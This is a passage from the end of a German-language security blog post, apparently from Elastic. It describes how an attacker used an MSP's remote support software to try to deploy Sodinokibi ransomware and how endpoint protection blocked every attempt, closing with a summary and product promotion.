	<li>Die aus den injizierten Threads erfassten Strings weisen Übereinstimmung mit Sodinokibi-Ransomware-Proben auf, die in den letzten 24&nbsp;Stunden bei VirusTotal gemeldet wurden.</li>
</ul>
<p>Nachdem der Versuch der Selbstinjektion von Shellcode und der Ausführung von Ransomware vereitelt wurde, gab es auf dem ursprünglichen Endpunkt vorerst keine Angriffsaktivitäten mehr. Nach 15&nbsp;Minuten kehrte der Angreifer zurück und versuchte es mit denselben Prozeduren auf fünf weiteren Endpunkten, bevor er schließlich aufgab. Sämtliche Versuche, Ransomware einzuschleusen, wurden vereitelt.
</p>
<h2>Fazit</h2>
<p>In diesem Blogpost haben wir anhand eines Beispielfalls aus unserer Praxis gezeigt, wie Angreifer das Vertrauensverhältnis zwischen einem MSP und seinen Kunden zu missbrauchen versuchen, um Ransomware einzuschleusen. Das zeigt, wie wichtig es ist, sich ein Bild davon zu verschaffen, was für ein Verhältnis zwischen Ihrer Organisation und externen Partnern besteht und was passieren kann, wenn dieses Verhältnis durch Angreifer missbraucht wird.
</p>
<p>Die Analyse der Alerts hat ergeben, dass sich der Angreifer über eine Remote-Desktop-Support-Software Zugang zur Umgebung verschafft und versucht hat, mittels eines Skripts Ransomware herunterladen, injizieren und ausführen zu lassen. Alle Versuche des Angreifers wurden vereitelt.
</p>
<p>Dieser Fall zeigt auch, wie wichtig sowohl eine mehrschichtige Herangehensweise an die Sicherheit als auch die Fähigkeit ist, bösartiges Verhalten und dateilose Angriffe zu erkennen und zu verhindern. Wir haben die Vorgehensweise des Angreifers seziert und gezeigt, wie EQL und Reflex genutzt werden können, um individuelle Regeln und Antworten zu erstellen.
</p>
<p>Es reicht nicht aus, nur nach bösartigen Dateien zu suchen. Elastic Endpoint Security bietet einen aus mehreren Schichten bestehenden Schutzmechanismus, der Ransomware, dateilose Angriffe, Phishing, Expolits und schädliches Verhalten effektiv verhindert.
</p>
<p><a href="https://github.com/elastic/elasticsearch/issues/49581">Wir sind dabei, Elasticsearch mit EQL-Unterstützung auszustatten</a>.
</p>
<p><em>1 – Der Inhalt ist mittlerweile durch den Ersteller selbst oder durch Pastebin von Pastebin entfernt worden.
	</em>
</p>

Articles by David French

Okta-Transparenz und Erkennung mit Dorothy und Elastic Security testen

Ransomware gestoppt: Sodinokibi und die Lieferkette

Produkte

Unternehmen

Ressourcen